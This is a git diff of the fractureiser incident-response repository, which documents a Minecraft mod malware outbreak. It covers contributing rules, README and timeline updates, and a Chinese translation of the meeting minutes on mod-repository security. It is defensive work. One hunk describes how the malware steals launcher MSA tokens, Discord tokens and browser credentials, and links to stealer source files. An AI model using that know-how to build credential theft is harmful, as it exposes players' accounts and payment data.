diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md new file mode 100644 index 00000000..ffc6ba30 --- /dev/null +++ b/.github/CONTRIBUTING.md @@ -0,0 +1,15 @@ +Thank you for your interest in helping with documenting the Fractureiser malware outbreak. + +Please keep the following things in mind: +- Pull requests that perform bulk reformatting, automated or otherwise, **will be rejected**. This is because reformatting creates unwieldy diffs that result in cascading merge conflicts. Please just enable word-wrapping in your editor. +- Pull requests to add translations are very welcome; more languages makes it easier for non-English speakers to learn about the outbreak. Please see [#79](https://github.com/fractureiser-investigation/fractureiser/issues/79) for general discussion the translation community has had about how translations should be implemented. Our team primarily speaks English, and are not knowledgeable in translation, so we've delegated this to the community to ensure we wind up with a reasonable implementation. +- Many forms of "strange" formatting in this repo are wholly intentional, and PRs attempting to "correct" them will be rejected. A non-exhaustive list: + - We refer to Fractureiser stages as e.g. "Stage0" — always capitalized and with no space. + - "Fractureiser" is indeed not well-formed English; it should be "fracturizer" or "fracturiser", depending on dialect. It's kept as-is from the CurseForge account that spread the first samples we learned of. +- We do, however, welcome non-controversial formatting/grammar fixups. A lot of the documentation was written in a hurry and it's got various mistakes we've not caught. + - This is not carte blanche to run automated grammar/spelling tools on the repo, such as Grammarly — the unguided output from these has a very obvious and poor style which we will reject on sight. +- The Discord guild is not official, and attempts to add links and references to it will be rejected. The mitigation team meets on IRC. +- Please tread carefully when attempting to add new guidance, as we've been pretty careful about how we're presenting the situation and how people should respond. We don't want to encourage people to be reckless when what's at stake is considered. +- ***Do not ask for samples***. If you have experience and credentials, that's great, but we have no way to verify this without using up tons of our team's limited time. Sharing malware samples is dangerous, even among people who know what they're doing. +- **Do not witchhunt, or encourage witchhunting, the author.** Online witchhunts do not go anywhere productive, and our focus is on the effects this has had on the community and how we can prevent it in the future. +- Any mention of blockchain or AI technology as a "solution" to future outbreaks is an instant ban. diff --git a/README.md b/README.md index 7fdea76c..271b6ec8 100644 --- a/README.md +++ b/README.md @@ -1,28 +1,29 @@

- Logo + fractureiser logo

*Pardon our dust, documentation still in progress* +[简体中文版本见此](./lang/zh-CN/) + ## What? -`fractureiser` is a [Virus](https://en.wikipedia.org/wiki/Computer_virus) found in several Minecraft projects uploaded to CurseForge and CraftBukkit's dev website. The malware is embedded in multiple mods, some of which were added to highly popular modpacks. The Malware is only known to target Windows and Linux Systems. +`fractureiser` is a [virus](https://en.wikipedia.org/wiki/Computer_virus) found in several Minecraft projects uploaded to CurseForge and BukkitDev. The malware is embedded in multiple mods, some of which were added to highly popular modpacks. The malware is only known to target Windows and Linux. If left unchecked, fractureiser can be **INCREDIBLY DANGEROUS** to your machine. Please read through this document for the info you need to keep yourself safe. -We've dubbed this malware `fractureiser` because that's the name of the CurseForge account that uploaded the most notable malicious files. +We've dubbed this malware fractureiser because that's the name of the CurseForge account that uploaded the most notable malicious files. ## What YOU need to know ### [Modded Players CLICK HERE](docs/users.md) -If you're simply a mod player and not a developer, the above link is all you need. It contains surface level information of the malware's effects, steps to check if you have it and how to remove it, and a FAQ. +If you're simply a mod player and not a developer, the above link is all you need. It contains surface level information of the malware's effects, steps to check if you have it and how to remove it, and an FAQ. Anyone who wishes to dig deeper may also look at * [Event Timeline](docs/timeline.md) * [Technical Breakdown](docs/tech.md) -### I have never used any minecraft mods - +### I have never used any Minecraft mods You are not infected. ## Current Investigation Status @@ -30,21 +31,21 @@ We have a good idea how fractureiser works, from Stages 0 to 3. There are certai unknowns, but the attack servers are offline and to our knowledge, *new* infections are not possible. Old infections may still be active. -We are currently working on refining user-facing documentation, please check there for -resources. +User-facing documentation is more or less finished. We're working with community members to get it translated into other languages to further spread awareness. -## Follow up Meeting +## Follow-Up Meeting On 2023-06-08 the fractureiser Mitigation Team held a meeting with notable members of the community to discuss preventive measures and solutions for future problems of this scale. See [this page](https://github.com/fractureiser-investigation/fractureiser/blob/main/docs/2023-06-08-meeting.md) for the agenda and minutes of the event. ## Additional Info -If you have files relevant to this malware, please upload them to https://wormhole.app and email the URL to fractureiser.investigation@opayq.com — this inbox is controlled by unascribed, and anything sent to it will be shared with the rest of the team. If you need to get in touch more generally, please send mail to jaskarth4@gmail.com. +If you have files relevant to this malware, please upload them to https://wormhole.app and email the URL to fractureiser@unascribed.com — anything sent to it will be shared with the rest of the team. If you need to get in touch more generally, please send mail to jaskarth4@gmail.com. If you copy portions of this document elsewhere, *please* put a prominent link back to this [GitHub Repository](https://github.com/fractureiser-investigation/fractureiser) somewhere near the top so that people can read the latest updates and get in contact. -The **only** official public channel you may join without being personally invited that's *run by the same team that wrote this writeup* is [#cfmalware on EsperNet IRC](https://webchat.esper.net/?channels=cfmalware). -**Joining an IRC channel will expose your IP address.** +The **only** official public channel you may join without being personally invited that's *run by the same team that wrote this writeup* is [#cfmalware on EsperNet IRC](https://webchat.esper.net/?channels=cfmalware). **Joining an IRC channel will expose your IP address.** + +**Do not ask for samples.** If you have experience and credentials, that's great, but we have no way to verify this without using up tons of our team's limited time. Sharing malware samples is dangerous, even among people who know what they're doing. --- diff --git a/docs/2023-06-08-meeting.md b/docs/2023-06-08-meeting.md index 970174ca..b4df57a8 100644 --- a/docs/2023-06-08-meeting.md +++ b/docs/2023-06-08-meeting.md @@ -6,6 +6,10 @@ In the interest of keeping the meeting productive, we invited a narrow set of me from the community, mostly people working on mod repositories, and people who helped organize the incident response. +## Recordings + +The meeting has been recorded and edited to include speaking identifiers. You can watch the recording on [YouTube](https://www.youtube.com/watch?v=L52Hu334Q90) or [PeerTube](https://tube.sleeping.town/w/c48e7df1-cf9b-43d2-84a8-4bce404ee836). + ## Time 2023-06-08 16:00 UTC diff --git a/docs/credits.md b/docs/credits.md index cda55191..588cc2c5 100644 --- a/docs/credits.md +++ b/docs/credits.md @@ -1,9 +1,9 @@ ## Credits -Nonextensive! Thank you to all that pitched in. We'll flesh this out after this all blows over. +Nonexhaustive! Thank you to all that pitched in. -[**Emi**](https://github.com/emilyploszaj/): Coordination, initial discovery (for this team), and early research -[**Jasmine**](https://github.com/jaskarth/): Coordination, writing the decompiler we've been using ([Quiltflower](https://github.com/QuiltMC/quiltflower/)) -[**unascribed**](https://github.com/unascribed/): Coordination of documentation, crowd control +[**Emi**](https://github.com/emilyploszaj/): Coordination, initial discovery (for this team), early research, meeting organization +[**Jasmine**](https://github.com/jaskarth/): Coordination, research, writing the decompiler we've been using ([Quiltflower](https://github.com/QuiltMC/quiltflower/)) +[**unascribed**](https://github.com/unascribed/): Coordination of documentation, crowd control, logo [**williewillus**](https://github.com/williewillus/): Coordination, journalist [**Vazkii**](https://github.com/vazkii/): Documentation, public communications [**Col-E**](https://github.com/Col-E/): Reverse engineering, writing the deobfuscator we've been using ([Recaf](https://www.coley.software/Recaf/)) @@ -12,4 +12,4 @@ Nonextensive! Thank you to all that pitched in. We'll flesh this out after this [**aurelium**](https://github.com/autumnaurelium/): Coordination, deobfuscation [**D3SL**](https://github.com/D3SL/): Extensive reverse engineering, early discovery learned of later [**Luna Pixel Studios**](https://lunapixelstudios.github.io/): Quick detection of unauthorized uploads -**Nia**: Extensive Stage 3 reverse engineering \ No newline at end of file +**Nia**: Extensive Stage 3 reverse engineering diff --git a/docs/tech.md b/docs/tech.md index 5fb191ad..c8d83b06 100644 --- a/docs/tech.md +++ b/docs/tech.md @@ -12,12 +12,12 @@ mods, as it was an interesting new upload. ### Known affected mods & plugins Note: This list is **non-comprehensive**. It was constructed in the early days of -investigation and quickly we realized the scope of this was much larger than we though, +investigation and quickly we realized the scope of this was much larger than we thought, making tracking of individual cases pointless. It's left here for historical purposes. See also CurseForge's [list](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) -of affected projects +of affected projects. |mod/plugin|link(s)|SHA1|"Uploader"| |---|---|---|---| @@ -199,7 +199,7 @@ Thus, if a user copies a file and goes to paste it elsewhere they will instead p ### Data theft -**MSA Tokens**: Since this mod is targeting Minecraft mods, its only natural to attempt to steal the MSA token used to login to Minecraft with. Some launchers keep this data in a local file, which this malware will attempt to read from. This affects a variety of launchers such as: +**MSA Tokens**: Since this mod is targeting Minecraft mods, it's only natural to attempt to steal the MSA token used to login to Minecraft with. Some launchers keep this data in a local file, which this malware will attempt to read from. This affects a variety of launchers such as: * The vanilla/mojang launcher * The legacy vanilla/mojang launcher @@ -227,7 +227,7 @@ The change from this strategy to the vanilla launchers is that the Json has an a The change from this strategy to technic is that technic stores credentials using Java's built-in object serialization, wrapping the `com.google.api.client.auth.oauth2.StoredCredential` type. -**Discord tokens**: Everyone's seen a token-stealer before. Affects the standard client, canary, ptb, and lightcord clients. +**Discord tokens**: Everyone's seen a token-stealer before. Steals token and extra information such as payment methods, linked phone number, etc. Affects the standard client, canary, ptb, and lightcord clients. Relevant source: [`dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java`](https://github.com/clrxbl/NekoClient/blob/fd76c5f9d40d1e10de11f00a6b4e0cca3d6221a3/dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java) **Cookies & Saved credentials**: Steals saved cookies and login credentials saved in affected browsers. Relevant source: [`dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java) diff --git a/docs/timeline.md b/docs/timeline.md index 6a7b0fe3..9cc636bf 100644 --- a/docs/timeline.md +++ b/docs/timeline.md @@ -2,6 +2,11 @@ The timeline is from bottom-to-top. Topmost events are the most recent. +--- +*2023-06-09 07:48 UTC* + +Creators of Stage3b (skyrage) have apparently lost their domain skyrage.de (nameserver and registrar entries changed, dns entries vanished) + --- *2023-06-08 10:50 UTC* diff --git a/fractureiser.png b/fractureiser.png new file mode 100644 index 00000000..5f75fef7 Binary files /dev/null and b/fractureiser.png differ diff --git a/lang/zh-CN/README.md b/lang/zh-CN/README.md new file mode 100644 index 00000000..84447169 --- /dev/null +++ b/lang/zh-CN/README.md @@ -0,0 +1,57 @@ +

+ Logo +

+ +*施工现场,如有疏漏,还请海涵* + +译者注:本文为译文,仅为扩散正确信息、方便不熟悉英语的读者而提供。 +本文将尽最大努力保持与上游内容同步,但考虑到上游更新速度极快,仍可能有部分内容过期,还请海涵。鉴于此,请务必时刻参考原文获取最新信息! +如译文与原文冲突,请以原文为准。传播时,请无论如何都要传播原文地址。 + +Last updated at Jun 9th, 2023 +最后更新于二〇二三年六月九日 + +## 这是什么? +`fractureiser` 是在 CurseForge 及 CraftBukkit 网站上发现的[计算机病毒](https://zh.wikipedia.org/wiki/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%97%85%E6%AF%92)。这种病毒,或者说恶意软件,内嵌在了数个模组(Mod)中,这其中有一部分模组还进入了热门整合包中。目前该恶意软件已知仅针对 Windows 和 Linux 两大类操作系统。 + +若不加以处置,fractureiser 将会对你的设备构成**极为严重的安全威胁**。请阅读整个文档以了解如何在当下保证安全。 + +我们将该病毒/恶意软件称为 `fractureiser`。这个名字是某个 CurseForge 账号的用户名,而该账号的持有者正是最明显的含该恶意软件文件的上传者。 + +## **你**需要知道的事项 + +### [模组玩家**点这里**](docs/users.md) + +如果你只是普通模组玩家,不是开发者,那么你只需要阅读上面的这个链接中的内容。这其中包括了该恶意软件危害的简明描述、协助你排查是否受感染的教程、以及一份常见问题解答。 + +如果你学有余力,想进一步了解细节,可浏览下列内容: + +* [事件时间线](docs/timeline.md) +* [技术分析](docs/tech.md) + +### 我从未使用过任何 Minecraft 模组 + +你没有感染。 + +## 目前调查进展 + +我们目前已经对 fractureiser 从「阶段 0」到「阶段 3」的工作流程有了充分了解。虽然仍然有一些细节没有查明,但根据我们所掌握的情况,攻击者的服务器已下线,**新感染**已不可能,但已感染的设备仍会受影响。 + +我们正在改进针对普通用户的文档,请查阅相关文档了解更多信息。 + +2023 年 6 月 8 日,Fractureiser Mitigation Team 召集了一场社区会议,与会成员均为社区知名成员,会议讨论了同类事件的预防措施,及在未来彻底解决此类问题的方案。这次会议的议程及会议纪要可在[此页](docs/2023-06-08-meeting.md)找到。 + +## 其他信息 + +如果你持有该恶意软件的样本,请上传至 https://wormhole.app 然后将文件地址通过电邮发送到这个邮箱地址:`fractureiser.investigation@opayq.com`。该邮箱由 unascribed 控制,所有收到的样本将会分享给其他团队成员。若你需要就其他事项联系,请向 `jaskarth4@gmail.com` 发电邮咨询。 + +如果你把本文档部分复制、转载到了别处,**请务必**在开头或其他位置显著标明[本 GitHub 仓库的链接](https://github.com/fractureiser-investigation/fractureiser),这样其他人可以在第一时间内了解事态的最新进展。 + +我们**只有一个**__由本文档撰写者原班人马维护__,可以无需邀请即可加入的聊天频道:[EsperNet 上的 IRC 频道 #cfmalware](https://webchat.esper.net/?channels=cfmalware)。 +**注意:加入 IRC 频道会暴露你的 IP 地址。** + +IRC 聊天日志:待补全 + +--- + +\- [fractureiser Mitigation Team](docs/credits.md) diff --git a/lang/zh-CN/docs/2023-06-08-meeting.md b/lang/zh-CN/docs/2023-06-08-meeting.md new file mode 100644 index 00000000..3b241d3c --- /dev/null +++ b/lang/zh-CN/docs/2023-06-08-meeting.md @@ -0,0 +1,528 @@ +Last updated at Jun 9th, 2023 +最后更新于二〇二三年六月九日 + +Note from translator: minutes portion are intentionally bilingual parallel text. +译者注:纪要部分为有意保持的双语平行文本。 + +# Fractureiser Mitigation 会议 2023-06-08 + +本文为在 2023 年 6 月 8 日召开的针对是次事件的会议之日程安排及会议纪要。 + +为保证会议的高效运行,我们仅邀请了部分社区成员与会,其中多数为模组仓库的工作人员以及在应对是次事件时提供帮助的人。 + +## 回放 + +我们全程录制了会议发言,并标记了所有发言者的身份。你可以在 [YouTube](https://www.youtube.com/watch?v=L52Hu334Q90) 或 [PeerTube](https://tube.sleeping.town/w/c48e7df1-cf9b-43d2-84a8-4bce404ee836) 上观看回放。 + +## 时间? + +2023-06-08 16:00 UTC + +## 出席者 + +会议组织者: + +- Emi(最初响应者,组织者) +- Jasmine(组织者) + +会议秘书、纪要编辑整理 + +- williewillus(事件记者,来自 Violet Moon) + +社区成员(字母排序): + +- Adrian(来自 Modrinth) +- cpw(来自 Forge) +- Doctor Oyster(Overwolf 社区团队领导) +- Emma(来自 Modrinth) +- Fury(Overwolf CEO) +- gdude(来自 Quilt) +- Geometrically(来自 Modrinth) +- IMS(来自 CaffeineMC) +- Jared(来自 BlameJared Maven) +- kennytv(来自 PaperMC) +- Mikey(来自 FTB) +- modmuss(来自 Fabric) +- Slowpoke(来自 FTB) +- Starchild(来自 Quilt) +- timoreo(来自 Prism Launcher) +- ZekeZ(来自 Prism Launcher) + +## 事件总结及响应 + +(这一段仅供与会者快速了解事态全貌,到时候不需要读出声来或者别的什么) + +`fractureiser` 是近期出现的计算机病毒,拥有自我复制能力,会感染 Bukkit 插件、Forge 模组、Fabric 模组以及原版 Minecraft jar 文件。受感染的文件在加载时虽会继续正常运行,但会在后台悄无声息地下载一系列程序,这些程序可以窃取登录令牌、浏览器保存的密码和支付信息、加密货币等。在一台计算机感染后,受攻击计算机上全部符合条件的 jar 文件都将会感染相同病毒,一旦用户将受感染文件分享给他人,便会引发病毒传播。攻击者使用由此窃取而来的 CurseForge 登录令牌获取大型模组项目的访问权,并藉由此试图向更多用户传播感染后的 jar。 + +对此问题的讨论及应对在 6 月 6 日正式开始。社区成员逐渐找到并识别了各种样本,并对样本进行反编译以进行进一步分析。随后,社区成员找出了用于下发恶意软件传播程序及密码窃取程序的服务器,并及时通知该服务器所属的提供商 Serverion,使得 Serverion 能及时切断该服务器与外界的连接。在此之后,受感染的 jar 已无继续运行或传播恶意软件的可能,然而在服务器「断网」前就已感染的设备或仍向外传播恶意程序。 + +截至本文写就之时,我们团队仍在对该恶意软件进行逆向工程分析,以期在攻击者试图利用变种发起下一次攻击时,能在最短时间内找出其指挥控制(Command & Control)服务器地址,并及时通知其提供商下架。攻击者在 6 月 7 日试图创建一新主控节点,然而该节点很快被发现并遭断网。我们随后找到了一个指向该失效节点的 URL,并在持续监控此 URL。 + +## 日程安排 + +我们有大约一小时的时间,所以我建议我们每个话题只花最多 15 分钟。 +我已按我(williewillus)所认为的可行性从高到低将话题排列如下。 +越是不可能实现的项目越靠后。如果时间有限,我们还可能会放弃某些话题。 + +### 审核流程不透明 /「隐晦式安全」 + +#### 讨论及行动事项 + +- CurseForge/Modrinth 在审核模组的时候**到底做了什么**? + - 此处应有「what do you do here」表情包(笑) +- 哪些检查**是自动的**? + - ? +- 哪些自动检查**应该有**? + - 静态分析? + - 我们能说服模组仓库在这方面发力吗? +- 半跑题:我们能说服 CurseForge 换一个不是 MD5 的散列码算法吗?MD5 已经被攻破数年了,再这样等下去我们迟早有一天会等来针对 CurseForge 上模组的碰撞攻击。 + - Modrinth 在用什么? + +纪要: + +Fury: CEO of overwolf. Eng is working on mitigations, so I'm here + Re: checks. From a high-level perspective. Don't want to be too open about the checks + because people can find ways to bypass. Understand that the ambiguity is a concern, + will share as much as I can. + All mods have auto checks. Manual checks for some. + Technically, start by running antivirus/antimalware scans. Check file type/adherence to file structure. + API actually supports SHA-1. + More clientside improvements to enforce this in a good way. + Manual checks when an auto check flags it, human reviews the mod. Changing text/images also involves manual review. + Continuously evolving process, have updated automated tests to look for this vuln. + +Fury:Overwolf CEO。工程师们在部署应对方案,所以我来这了。 + 关于审核:大体上我们不能透露太多信息,因为用户会找到绕开的方法的。我们认知到「模糊」本身会引发担忧,所以在此我会尽可能透露多的信息。 + 所有模组都会过自动检查。某些会触发人工检查。 + 技术角度来看,审核流程首先是反病毒检查,然后是文件类型和完整性检查。我们的 API 实际上支持 SHA-1。(译注:迄今为止 CurseForge 仍然只显示 MD5 哈希值。) + 还有更多客户端侧的改进来落实检查。 + 自动检查若认为可疑则会触发人工介入检查。改头图和文本介绍也会触发人工检查。 + 该过程还在不断更新换代,目前已部署专门针对此威胁(译注:指 Fractureiser)的检查。 + +Emi: Moving to modrinth to keep things quick + +Emi:节约时间,话筒交给 Modrinth 代表。 + +Geo/Jay: Founder of Modrinth. Our moderation is pretty robust. + New project: manual review. Check description, images. Also check the source code, esp. for new/unknown authors. + Closed source, will occasionally decompile mods, but not often. + Checks on backend for file structure. + Malware in modded mc is generally never detected by antivirus. + Have rejected mods in the past for suspicious code. + Understand this process is flawed. After initial review, we rely on reports afterwards. + Our code is open source, we want a transparent tool the community can use. + Relies on community trust (known author), but this is also flawed. + +Geometrically/Jay:Modrinth 创始人。我们的监管相当健壮(robust)。 + 新项目:手动检查。检查描述和图像,还有源代码,尤其是对新作者、未知作者。 + 针对闭源模组偶尔还会反编译。反编译并不常见。 + 后端检查文件结构。 + 模组社区的恶意软件基本上杀软探测不到。 + 曾因可疑代码拒审过模组。 + 我们认识到这过程有缺陷。在初步审查之后我们就只仰仗举报了。 + 我们的代码完全开源,我们希望做一套足够透明的工具,这样社区也可以使用。 + 仰仗社区信任(已知作者),但这也有缺陷。 + +Emi: When you check open source mods, do you verify the source corresponds to the jar? + +Emi:你们检查开源模组的时候,是否会检查 jar 和源码确实相匹配? + +Geo: No, but we could do something where users can upload the source for a verified badge, +like what npm has recently does. Might not be most ideal. + +Geometrically:并不,但我们可以让上传源码的用户拿到一个「已验证」的徽章,就 npm 最近搞的那样的。 + 恐怕也不是最理想方案。 + +Emi: Which hash is used by Modrinth + +Emi:Modrinth 使用哪些摘要算法来计算哈希值? + +Geo: We use SHA-1/SHA-512. Avaiable in API. Launcher we're building validates +them. Rehashed all files in SHA-512 a year ago. + +Geometrically:我们用 SHA-1 和 SHA-512。API 支持二者。我们正在开发中的启动器会验证哈希值。 + 一年前我们把所有文件的 SHA-512 都计算了一遍。 + +### 可重现构建(Reproducible Build) + +实现「扫描被窜改后的模组」这个需求的一大挑战是「确保某一个特定版本的模组只可能有一种编译结果」。 +换言之,我们需要实现模组源码的可重现构建。如此一来,我们只需要重新从源码构建模组,并将其哈希值与可疑文件比对, +就可以排除掉阶段 0 的感染,而不必绕路去拿着特征码比对 jar 文件中的所有内容。 + +有多少模组的构建脚本里指定了版本号带 `-SNAPSHOT` 的插件和前置库? + +我打赌是所有,因为 [Fabric](https://github.com/FabricMC/fabric-example-mod/blob/1.20/build.gradle#L2) 和 +[Forge](https://github.com/MinecraftForge/MinecraftForge/blob/1.19.x/mdk/build.gradle#L4) 的模板仓库都有类似操作。 + +诸如 Loom 和 FG 这样的插件一直都有使用动态版本号的传统,其出发点则是在不需要用户介入的情况下推送新版修复,然而现在 Auditability(可审计性?)成为了首要需求。 + +从被黑的模组开发相关 Maven 仓库发起的供应链攻击,现在来看,是真实存在的安全威胁。 + +#### 讨论及行动事项 + +- 停止在示例项目里宣传 `-SNAPSHOT` 的使用,鼓励使用固定版本号 +- 更新 fabric-example-mod 及 forge MDK 示例项目,加入 Gradle checksum verification 及 locking 的用例? + - https://docs.gradle.org/current/userguide/dependency_verification.html + - 这是传统意义上的「把文件 hash 保存起来以供检查」的 lockfile 策略 + - https://docs.gradle.org/current/userguide/dependency_locking.html + - 这是「把形如 `[1, 2)` 的带范围版本号声明锁死在某一特定版本,直至用户主动要求更新」的策略 +- 在 Loom/FG 中成立工作小组,调研如何在[启用 Gradle 的 可重现构建](https://docs.gradle.org/current/userguide/working_with_files.html#sec:reproducible_archives)后成功实现可重现构建。 + 目前,模组开发工具链中存在诸如 jar 重混淆之类的不确定性(non-determinism)。 + 这些不确定性都应该尽力消除,以确保我们可以有开箱即用的可重现构建。 +- 未曾设想的道路:走 F-Droid 风格,直接提交源码,由平台负责构建? + - 考虑其成本,不太可能实现。 + +Starchild: For Quilt, one issue here is signing. We can't reproduce a signature. + +Starchild:对 Quilt 来说最大的问题是我们没法复现签名。 + +willie: But if the signature is distributed separately, should be fine? + +williewillus:如果签名是单独分发的呢? + +Geo: We can never be 100% secure. We can spend a lot of time reviewing every file. One +important thing is accessibility. Many people don't know how Gradle works/what +reproducible builds are. Template mods exist, but even code signing is hard for mobile devs. +We get thousands of submissions a day. + +Geometrically:我们没法百分百安全。我们可以加大在审核上投入的时间。但关键是便于理解(Accessibility)。 + 我们中很多人根本不知道 Gradle 是怎么工作的,遑论可重现构建。有模板模组,但仅仅是代码签名就足够绕晕开发者了。 + 我们一天能收到几千个新模组发布。 + +Fury: One thing we suggest, for authors that opt to go through extra verification have a +tag on their mod for gamers to see to increase trust. + +Fury:我们建议可以给通过额外验证的作者加点标签,这样玩家知道这些作者更可信。 + +### 从外部下载文件的模组 + +从外部下载含有可执行代码文件的模组,均会受到供应链攻击的威胁。 + +一些会这么做的行为的模组案例: + +- [Essential](https://modrinth.com/mod/essential) + - 内置自动更新器,会不经用户提示更新模组。 + 若 Essential 服务器被攻破,攻击者可透过其将代码下发至客户端。 +- 依赖 [owolib](https://modrinth.com/mod/owo-lib) 的模组,例如 [gadget](https://modrinth.com/mod/gadget) + - 会提示用户需要下载 owo-lib,用户同意后会从 Modrinth 下载文件。 + 若攻击者在 Modrinth 上传了版本正确的模组,将构成供应链攻击。 + +只要有一个热门模组,比如 Essential,的服务器被攻破,恶意软件就可以在短时间内影响数百万用户。 + +#### 讨论及行动事项 + +- 上传至专门的平台(Modrinth、CurseForge 等)的模组是否应允许包含「从外部下载可执行代码」的代码? + - 我认为应该禁止,但我们如何强制执行这一点?启动游戏并检查其是否会往 `mods` 文件夹里下载文件? + +Fury: Manually review when we see this pattern happen + +Fury:在发现此类代码时即触发手动检查 + +willie: But you can push malicious code later + +williewillus:但你可以以后再推送恶意代码 + +Fury: look at the author's reputation and other attributes of safety. + +Fury:调查作者的声誉和其他和安全相关的属性 + +Starchild: Not too down to ban downloading everything from the internet. See some +legitimate usecases. We can mark the mod on the platform as downloading external code. +Can have policies like must do over https, etc. We can draft it in the community. + +Starchild:我不建议一杆子打死所有「下载东西」的模组。这有合理用途。 + 我们可以直接在平台上标记「这个模组会下载外部代码」。 + 我们可以有诸如「必须走 HTTPS」这样的规则。我们可以起草一份草案之类的。 + +willie: Clarification: I mean talking about downloading code, not data + +williewillus:澄清,我想说的是下载代码,不是数据 + +Lambda: TODO(willie i missed first half) Quilt had a proposal to do dependency +downloading. More generally, only allow downloading of things that were predeclared +(e.g. with a hash). Even if we allow mods that do this, I will still stay suspicious. + +LambdAurora:(译注:这里缺失一段,待补)Quilt 曾有提议建议增加前置自动下载功能。 + 更一般地来说,只允许下载提前声明过的东西(例如记录了哈希值的)。 + 即便我们允许这样做,我也会保持怀疑。 + +### 代码签名 + +模组作者应为他们发布的二进制文件签名。 + +Fabric Loom、ForgeGradle 等工具链应提供足够多的关于下列主题的文档以及模板,以最大限度保证用户体验; + +- 如何在 CI 中构建模组 +- 如何在 CI 中为模组签名 +- 如何在 CI 中将签名后的模组自动发布到模组仓库中 + +使用 CI 构建这件事本身就已经超出了绝大多数模组开发者的能力范围(大多数模组开发者甚至都不会给新版发布打标签)。 +请记住,很多模组开发者都只是编程爱好者,从未有过在业界工作的经验,很可能对上述概念一无所知。 + +我实在无法再继续强调「文档完整、简单易学、开箱即用」这几个事有多重要了。做不到的话,那只有一个结果:没有人用。 + +我们的最终目标应当是要求每一次上传都应有有效签名,签名无效或缺失者直接拒绝。为此,我们需要一段时间过渡期, +并且需要有人编写合适的教材。 + +#### 讨论及行动事项 + +- 我们应该在哪建立公钥和模组作者的关系?换言之,如何阻止骇客将公钥和签名后的二进制文件同时替换? + - 存在 2FA 保护的 Modrinth 用户账号里? + - 若 Modrinth 不支持组织账号,会不会给那些「允许多人上传新版模组」的开发团队制造麻烦? + - 如果 Modrinth 自己被攻破了,骇客就能把公钥和签名后的二进制文件同时替换掉了。 +- PGP 签名还是 Java 自带的 jarsigner? + - PGP 是 Maven Central 使用的标准。我个人印象是没人用 Java 自己的那一套签名机制。 + OpenSSH 签名也是可选项,然而这套标准仍然不成熟,且没有稳定的生态。 + 很不幸,PGP 可能是眼下最好的选项。 + 我们可以利用 Gradle 插件来自动化所有 PGP 签名中的垃圾设计(译注:原文如此,crappy parts)。 +- 前车之鉴 + - Forge 一直以来都有对签名相关的支持,但无人使用(译注:据会议中 cpw 所述,事实上此特性确有「不少」用户)。 + 我们能从中学到什么? +- 启动器应在其 UI 中展示模组的签名情况。 +- 需要即刻跟进的事项 + - Modrinth 和 CurseForge 应开始设计公钥关联及存储机制 + - 模组加载器开发者应提供下列内容的详细文档及说明: + 1. 在 CI 中基于 `git tag` 发布新版 + 2. 在 CI 中自动签名并上传文件 + +Emi: this doesn't necessitate a required process + +Emi:这个流程是必须的,但这个理由不成立 + +Starchild: What do we want to prevent here and where? Mod repo can just associate a key +with the user and require it in upload, but enforcement/verification can also happen in +the loader. + +Starchild:我们究竟想要阻止什么?从哪阻止?模组仓库只需要把密钥跟用户关联上,然后要求其在上传文件的时候验明身份, +但这个强制检查流程还可以在模组加载器那完成。 + +Jasmine: I recently uploaded to Maven Central which enforces code signing. Process was +mostly painless via buildscripts, hardest part was finding the docs. + +Jasmine:我最近往强制要求签名的 Maven Central 传了点东西。因为有构建脚本所以基本上是一气呵成,但最难的是找文档。 + +Emi: Relaying from text chat, what is the point of signing? The main reason is for +identifying actors. + +Emi:转自文字聊天,「签名的意义是什么?主要是为了验明操作者身份。」 + +cpw: Wrote codesigning for Forge, been there around 10y. It might have detected stage0 and +probably stage3 if the signature wasn't stripped. We've wanted people to do it. Most +people in Forge use it these days. Fingerprints for signatures show up in debug logs, +etc. That's the primary purpose. IMO needs to be pushed a layer up. There is no mechanism +to distribute trust. A modder can tell their *own* jar is good, but the user doesn't. That +requires a trust authority in the mc ecosystem. Setting one is a complex endeavour. Only +viable actor is CF and Modrinth, since they already track the stuff you need to track. +1 +on badging on the mod repos. Doing it on the clientside? We're far too late for that at +the moment. If the entire ecosystem was signed, we could revisit. + +cpw:10 年前就给 Forge 写了代码签名支持,至今都在。如果恶意软件不删签名,也许可以检测到阶段 0 甚至是阶段 3。 +我们一直都想让其他人做这个。Forge 这边大部分人都在签名。我个人认为还需要再进一步。目前并没有传播信任的机制。 +模组开发者当然能证明**自己的** jar 没问题,用户不行。这需要整个 MC 生态里有个权威机关来担保,而这是个复杂的过程。 +目前有能力充当这个的只有 CurseForge 和 Modrinth,因为他们早已追踪了所有必须信息。同意「在模组仓库里给受信 +模组加标签」。在客户端侧验证?现在说这个可能太迟了。倒是如果全社区都转向签名了,我们可以回过头来再看一下。 + +Emi: Is it possible to have a collaboratively controlled third party CA? Adding two steps +is a bit much. + +Emi:有没有可能有个集体控制的第三方 CA?(译注:Certifiacte Authority,证书颁发机构)(在模组发布流程中)加两步有点太多了。 + +cpw: You can sign with multiple CA's at once, so that isn't necessary + +cpw:你可以同时用多个 CA(颁发的证书)签一个名,没必要分两步。(译注:意指如果有模组同时在 CurseForge 和 Modrinth 上发布, +且 CurseForge 和 Modrinth 均各自颁发了一个签名用证书,可在构建模组时一次使用两个证书签名。) + +Fury: We can look into it. + +Fury:我们可以调研一下。 + +cpw: If you're committing to it, that's awesome :) + +cpw:能在这方面有所承诺的话那再好不过(笑) + +Geo: IMO would be best if a trusted third party does it. Diff platforms have diff +policies. Modrinth interested in this as well, but we have to move carefully. + +Geometrically:个人认为让受信第三方来做这个最好。每个平台政策都不一样。Modrinth 对此也有兴趣,但我们仍需小心行事。 + +Emi: Are you willing to work with CurseForge for a third party CA? + +Emi:你们愿意跟 CurseForge 合作共建一个第三方 CA? + +Geo: Yeah. Everyone should put their differences aside for security, even though Modrinth +wasn't affected it still was indirectly since " + +Geometrically:没错。面对现在的安全威胁,我们应该放下成见共同努力,尽管 Modrinth 没直接受影响,但间接影响还是有的。 + +cpw: Would be nice to see movement after 10y + +cpw:10 年后能见到进展了真是太好了 + +### 沙箱 + +另一种防御策略是把整个 Minecraft 进程放进沙箱,这样我们便能控制住恶意代码的杀伤半径。 + 